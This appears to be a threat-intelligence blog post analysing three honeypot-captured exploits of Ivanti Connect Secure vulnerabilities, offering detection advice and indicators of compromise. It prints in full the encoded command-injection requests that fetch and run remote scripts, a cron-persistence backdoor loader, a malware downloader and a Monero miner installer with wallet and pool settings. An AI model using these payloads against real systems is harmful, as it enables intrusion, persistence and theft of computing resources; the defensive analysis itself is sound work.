One of my favorite things to do each morning is to look at the significant recent vulnerabilities that I found interesting – right now, my list is Ivanti Connect Secure, Atlassian Confluence, Apache Ofviz, SnakeYAML, etc., to check our honeypots to see if any new exploits have dropped since last time. And oh boy, was I rewarded this morning when I checked Ivanti! The overwhelming majority of what we see daily is scanners scanning honeypots and honeypots luring scanners – a security Ouroborus, if you will – but thanks to our new sensors, we have much more insight into what “real” attackers are trying. Let’s see what turned up when I lifted the Ivanti rock this morning!
Note: I’m censoring IPs / users in the requests to defang them, but I included them at the bottom in case you want to block them.
Target
These payloads are all leveraging a pair of vulnerabilities in Ivanti Connect Secure – CVE-2023-46805 and CVE-2024-21887, written about here, and with a public exploit available. You can also see the exploitation picking up on our tag.
Payload 1
Here’s the first payload that caught my eye:
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3b%77%67%65%74%20%2d%2d%74%69%6d%65%6f%75%74%3d%32%30%20%2d%2d%6e%6f%2d%63%68%65%63%6b%2d%63%65%72%74%69%66%69%63%61%74%65%20%2d%71%20%2d%4f%2d%20%68%74%74%70%73%3a%2f%2f[ip]%2f%69%76%61%6e%74%69%2e%6a%73%7c%73%68%3b%0a HTTP/1.1
Host: [ip]
User-Agent: curl/7.81.0
Accept: */*
Which decodes to:
api/v1/totp/user-backup-code/../../license/keys-status/;wget --timeout=20 --no-check-certificate -q -O- https://[ip]/ivanti.js|sh;n"
As of writing, that file is live and installs a persistent backdoor using cron:
#!/bin/bash
url='https://[ip]/ivanti'
name1=`date +%s%N`
wget --no-check-certificate ${url} -O /etc/$name1
chmod +x /etc/$name1
echo "*/10 * * * * root /etc/$name1" >> /etc/cron.d/$name1
/etc/$name1
name2=`date +%s%N`
curl -k ${url} -o /etc/$name2
chmod +x /etc/$name2
echo "*/10 * * * * root /etc/$name2" >> /etc/cron.d/$name2
/etc/$name2
name3=`date +%s%N`
wget --no-check-certificate ${url} -O /tmp/$name3
chmod +x /tmp/$name3
(crontab -l ; echo "*/10 * * * * /tmp/$name3") | crontab -
/tmp/$name3
name4=`date +%s%N`
curl -k ${url} -o /var/tmp/$name4
chmod +x /var/tmp/$name4
(crontab -l ; echo "*/10 * * * * /var/tmp/$name4") | crontab -
/var/tmp/$name4
while true
do
chmod +x /etc/$name1
/etc/$name1
sleep 60
chmod +x /etc/$name2
/etc/$name2
sleep 60
chmod +x /tmp/$name3
/tmp/$name3
sleep 60
chmod +x /var/tmp/$name4
/var/tmp/$name4
sleep 60
done
Advice: Check for files that look like /etc/<long number>, /tmp/<long number>, or /var/tmp/<long number>, and check your crontab files for odd entries
The payload it fetches is a 64-bit executable:
$ file backdoor
backdoor: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
What does the backdoor do? Let’s take the lazy approach – strings:
$ strings -n10 backdoor
[...lots and lots of junk...]
Usage: ispdd [OPTIONS]
-o, --url=URL URL of mining server
-a, --algo=ALGO mining algorithm https://ispdd.com/docs/algorithms
--coin=COIN specify coin instead of algorithm
-u, --user=USERNAME username for mining server
-p, --pass=PASSWORD password for mining server
-O, --userpass=U:P username:password pair for mining server
-x, --proxy=HOST:PORT connect through a SOCKS5 proxy
-k, --keepalive send keepalived packet for prevent timeout (needs pool support)
[...]
Aha, a bitcoin miner!
Payload 2
Next up, this payload:
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bwget%20https%3a%2f%2fraw%2egithubusercontent%2ecom%2fmomika233%2ftest%2fmain%2fm%2esh%20%26%26%20chmod%20%2bx%20m%2esh%20%26%26%20bash%20m%2esh HTTP/1.1
Host: [ip]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept-Encoding: gzip
Which decodes to:
/api/v1/totp/user-backup-code/../../license/keys-status/;wget https://raw.githubusercontent.com/[user]/test/main/m.sh && chmod +x m.sh && bash m.sh
Unsurprisingly, m.sh is a shell script:
#!/bin/bash
cd /tmp && wget https://github.com/[user]/test/raw/main/watchd0g && chmod +x watchd0g && ./watchd0g
cd /tmp && wget https://github.com/[user]/test/raw/main/watchbog && chmod +x watchbog && ./watchbog
Kinda weirdly, the scripts are 64-bit and 32-bit executables:
$ file watch*
watchbog: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
watchd0g: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Both files are UPX-packed (what year is this?), which is fortunately quite easy to unpack:
$ dnf install upx
$ upx -d watchbog
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2024
UPX 4.2.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 3rd 2024
File size Ratio Format Name
-------------------- ------ ----------- -----------
11911882 - 4454800 37.40% linux/i386 watchbog
Unpacked 1 file.
$ upx -d watchd0g
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2024
UPX 4.2.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 3rd 2024
File size Ratio Format Name
-------------------- ------ ----------- -----------
12519601 - 4741804 37.88% linux/amd64 watchd0g
Unpacked 1 file.
Those files appear to be written in Go and somewhat obfuscated (or maybe Go always looks obfuscated?) – in any case, the strings command doesn’t tell me much other than an SSH private key:
-----BEGIN PRIVATE KEY-----
MC4CAQAwBQYDK2VwBCIEIDWHqbKNp4h9inuerCayD7NO6glM9bnHjB+WcmT2Prfa
-----END PRIVATE KEY-----
Rather than spending a lot of time digging into this, I decided to move on to the next thing. Searching by checksum, it does appear that watchd0g is known malware
Advice: check for /tmp/watchd0g and /tmp/watchbog
Payload 3
And finally, the last payload:
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3b(type%20curl%20&%3E/dev/null;%20curl%20-o%20/tmp/script.sh%20http://[ip]:8089/u/123/100123/202401/d9a10f4568b649acae7bc2fe51fb5a98.sh%20%7C%7C%20type%20wget%20&%3E/dev/null;%20wget%20-O%20/tmp/script.sh%20http://[ip]:8089/u/123/100123/202401/d9a10f4568b649acae7bc2fe51fb5a98.sh);%20chmod%20+x%20/tmp/script.sh;%20/tmp/script.sh HTTP/1.1
Host: 128.199.174.6
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36
Connection: close
Accept-Encoding: gzip
Which decodes to:
/api/v1/totp/user-backup-code/../../license/keys-status/;(type curl &>/dev/null; curl -o /tmp/script.sh http://[ip]:8089/u/123/100123/202401/d9a10f4568b649acae7bc2fe51fb5a98.sh || type wget &>/dev/null; wget -O /tmp/script.sh http://[ip]:8089/u/123/100123/202401/d9a10f4568b649acae7bc2fe51fb5a98.sh); chmod x /tmp/script.sh; /tmp/script.sh
And the shellscript it fetches:
$ cat script.sh
#!/bin/bash
WALLET=45yeuMC5LauAg18s7JPvpwNmPqDUrgZnhYwpQnbpo5PJKttK4GrjqS2jN1bemwMjrTc7QG414P6XgNZQGbhpwsnrKUsKSt5
EMAIL=$2
if [ -z $HOME ]; then
HOME=/var/tmp/
fi
CPU_THREADS=$(nproc)
EXP_MONERO_HASHRATE=$(( CPU_THREADS * 700 / 1000))
if [ -z $EXP_MONERO_HASHRATE ]; then
exit 1
fi
power2() {
if ! type bc >/dev/null; then
if [ "$1" -gt "8192" ]; then
echo "8192"
elif [ "$1" -gt "4096" ]; then
echo "4096"
elif [ "$1" -gt "2048" ]; then
echo "2048"
elif [ "$1" -gt "1024" ]; then
echo "1024"
elif [ "$1" -gt "512" ]; then
echo "512"
elif [ "$1" -gt "256" ]; then
echo "256"
elif [ "$1" -gt "128" ]; then
echo "128"
elif [ "$1" -gt "64" ]; then
echo "64"
elif [ "$1" -gt "32" ]; then
echo "32"
elif [ "$1" -gt "16" ]; then
echo "16"
elif [ "$1" -gt "8" ]; then
echo "8"
elif [ "$1" -gt "4" ]; then
echo "4"
elif [ "$1" -gt "2" ]; then
echo "2"
else
echo "1"
fi
else
echo "x=l($1)/l(2); scale=0; 2^((x+0.5)/1)" | bc -l;
fi
}
PORT=$(( $EXP_MONERO_HASHRATE * 30 ))
PORT=$(( $PORT == 0 ? 1 : $PORT ))
PORT=`power2 $PORT`
PORT=$(( 10000 + $PORT ))
if [ -z $PORT ]; then
echo "ERROR: Can't compute port"
exit 1
fi
if [ "$PORT" -lt "10001" -o "$PORT" -gt "18192" ]; then
echo "ERROR: Wrong computed port value: $PORT"
exit 1
fi
if sudo -n true 2>/dev/null; then
sudo systemctl stop .ssh_miner.service
fi
killall -9 xmrig
rm -rf $HOME/.ssh
[ -d $HOME/.ssh ] || mkdir $HOME/.ssh
if ! curl "http://[ip]:8089/u/123/100123/202401/sshd" -o $HOME/.ssh/sshd; then
if ! wget "http://[ip]:8089/u/123/100123/202401/sshd" -O $HOME/.ssh/sshd; then
echo "ERROR: Can't download sshd"
exit 1
fi
fi
if ! curl "http://[ip]:8089/u/123/100123/202401/31a5f4ceae1e45e1a3cd30f5d7604d89.json" -o $HOME/.ssh/config.json; then
if ! wget "http://[ip]:8089/u/123/100123/202401/31a5f4ceae1e45e1a3cd30f5d7604d89.json" -o $HOME/.ssh/config.json; then
echo "ERROR: Can't download config"
exit 1
fi
fi
chmod +x $HOME/.ssh/sshd
PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9-]+/_/g'`
if [ "$PASS" == "localhost" ]; then
PASS=`ip route get 1 | awk '{print $NF;exit}'`
fi
if [ -z $PASS ]; then
PASS=na
fi
if [ ! -z $EMAIL ]; then
PASS="$PASS:$EMAIL"
fi
sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'",/' $HOME/.ssh/config.json
sed -i 's/"pass": *"[^"]*",/"pass": "'$PASS'",/' $HOME/.ssh/config.json
sed -i 's#"log-file": *null,#"log-file": "'$HOME/.ssh/sshd.log'",#' $HOME/.ssh/config.json
sed -i 's/"syslog": *[^,]*,/"syslog": true,/' $HOME/.ssh/config.json
cp $HOME/.ssh/config.json $HOME/.ssh/config_background.json
sed -i 's/"background": *false,/"background": true,/' $HOME/.ssh/config_background.json
cat >$HOME/.ssh/miner.sh /dev/null; then
nice $HOME/.ssh/sshd $*
else
echo "Monero miner is already running in the background. Refusing to run another one."
echo "Run "killall xmrig" or "sudo killall xmrig" if you want to remove background miner first."
fi
EOL
chmod +x $HOME/.ssh/miner.sh
# 创建计划任务
if ! sudo -n true 2>/dev/null; then
if ! grep .ssh/miner.sh $HOME/.profile >/dev/null; then
echo "[*] Adding $HOME/.ssh/miner.sh script to $HOME/.profile"
echo "$HOME/.ssh/miner.sh --config=$HOME/.ssh/config_background.json >/dev/null 2>&1" >>$HOME/.profile
else
echo "Looks like $HOME/.ssh/miner.sh script is already in the $HOME/.profile"
fi
echo "[*] Running miner in the background (see logs in $HOME/.ssh/sshd.log file)"
/bin/bash $HOME/.ssh/miner.sh --config=$HOME/.ssh/config_background.json >/dev/null 2>&1
else
if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') > 3500000 ]]; then
echo "[*] Enabling huge pages"
echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf
sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc)))
fi
if ! type systemctl >/dev/null; then
echo "[*] Running miner in the background (see logs in $HOME/.ssh/sshd.log file)"
/bin/bash $HOME/.ssh/miner.sh --config=$HOME/.ssh/config_background.json >/dev/null 2>&1
echo "ERROR: This script requires "systemctl" systemd utility to work correctly."
echo "Please move to a more modern Linux distribution or setup miner activation after reboot yourself if possible."
else
echo "[*] Creating .ssh_miner systemd service"
cat >/tmp/.ssh_miner.service /dev/null
sudo systemctl daemon-reload
sudo systemctl enable .ssh_miner.service
sudo systemctl start .ssh_miner.service
fi
fi
That appears to install an ssh server, install a .json configuration file, and set up a systemd service, as well as a backdoor in the user’s .profile file. Here’s the configuration file:
{
"api": {
"id": null,
"worker-id": null
},
"http": {
"enabled": false,
"host": "127.0.0.1",
"port": 0,
"access-token": null,
"restricted": true
},
"autosave": true,
"background": false,
"colors": true,
"title": true,
"randomx": {
"init": -1,
"init-avx2": 0,
"mode": "auto",
"1gb-pages": false,
"rdmsr": true,
"wrmsr": true,
"cache_qos": false,
"numa": true,
"scratchpad_prefetch_mode": 1
},
"cpu": {
"enabled": true,
"huge-pages": true,
"huge-pages-jit": false,
"hw-aes": null,
"priority": null,
"memory-pool": true,
"yield": true,
"max-threads-hint": 40,
"asm": true,
"argon2-impl": null,
"astrobwt-max-size": 550,
"astrobwt-avx2": false,
"cn/0": false,
"cn-lite/0": false
},
"opencl": {
"enabled": false,
"cache": true,
"loader": null,
"platform": "AMD",
"adl": true,
"cn/0": false,
"cn-lite/0": false,
"panthera": false
},
"cuda": {
"enabled": false,
"loader": null,
"nvml": true,
"cn/0": false,
"cn-lite/0": false,
"panthera": false,
"astrobwt": false
},
"donate-level": 1,
"donate-over-proxy": 1,
"log-file": null,
"pools": [
{
"algo": null,
"coin": null,
"url": "auto.c3pool.org:19999",
"user": "45yeuMC5LauAg18s7JPvpwNmPqDUrgZnhYwpQnbpo5PJKttK4GrjqS2jN1bemwMjrTc7QG414P6XgNZQGbhpwsnrKUsKSt5",
"pass": "default",
"rig-id": null,
"nicehash": false,
"keepalive": true,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
},
{
"algo": null,
"coin": null,
"url": "auto.c3pool.org:19999",
"user": "43uAMN5SYT45ZQqeNS6jkW5ssKjm7N4bmLT5uL49bvxGJnsPywn2zPhQA8nHc9XTGXavrstGj3pFy4geh3dV2x9uM8TfwzJ",
"pass": "default",
"rig-id": null,
"nicehash": false,
"keepalive": true,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
}
],
"print-time": 60,
"health-print-time": 60,
"dmi": true,
"retries": 5,
"retry-pause": 5,
"syslog": false,
"tls": {
"enabled": false,
"protocols": null,
"cert": null,
"cert_key": null,
"ciphers": null,
"ciphersuites": null,
"dhparam": null
},
"user-agent": null,
"verbose": 0,
"watch": true,
"rebench-algo": false,
"bench-algo-time": 20,
"pause-on-battery": false,
"pause-on-active": false
Advice: Check for a systemd service called .ssh_miner, a .profile entry that rusn a miner, or a file called /tmp/script.sh
IoCs
Here are the SHA256 sums of all the files I saw:
- 0c9ada54a8a928a747d29d4132565c4ccecca0a02abe8675914a70e82c5918d2 backdoor
- bbfba00485901f859cf532925e83a2540adfe01556886837d8648cd92519c68d ivanti.js
- cf20940907be484440e8343aa05505ad2e4d6d1f24ef29504bfa54ade4a8455f m.sh
- 8eadb5beeb21d4a95dacd133cb2b934342fcb39fe4df2a8387a0d5499c72450d watchbog
- 1e1e94bd2bfd5054265123bf55c4cf6ce87de6692d9329bda4a37e89272356e4 watchd0g
- 45c9578bbceb2ce2b0f10133d2f3f708e78c8b7eb3c52ad69d686e822f9aa65f config.json
- 4cba272d83f6ff353eb05e117a1057699200a996d483ca56fa189e9eaa6bb56c script.sh
And some file paths:
- /etc/<long number>
- /etc/cron.d/<long number>
- /tmp/<long number>
- /var/tmp/<long number>
- m.sh
- /tmp/watchd0g
- /tmp/watchbog
- /tmp/script.sh
- $HOME/.ssh/config.json
- $HOME/.ssh/sshd
- $HOME/.ssh/config_background.json
And the IP addresses / users I observed:
- 45.130.22.219
- https[:]//raw.githubusercontent.com/momika233
- 192.252.183.116
We recommend organizations block IPs that have recently exploited Ivanti. We have published a Gist containing these IPs.
Source: https://www.greynoise.io/blog/ivanti-connect-secure-exploited-to-install-cryptominers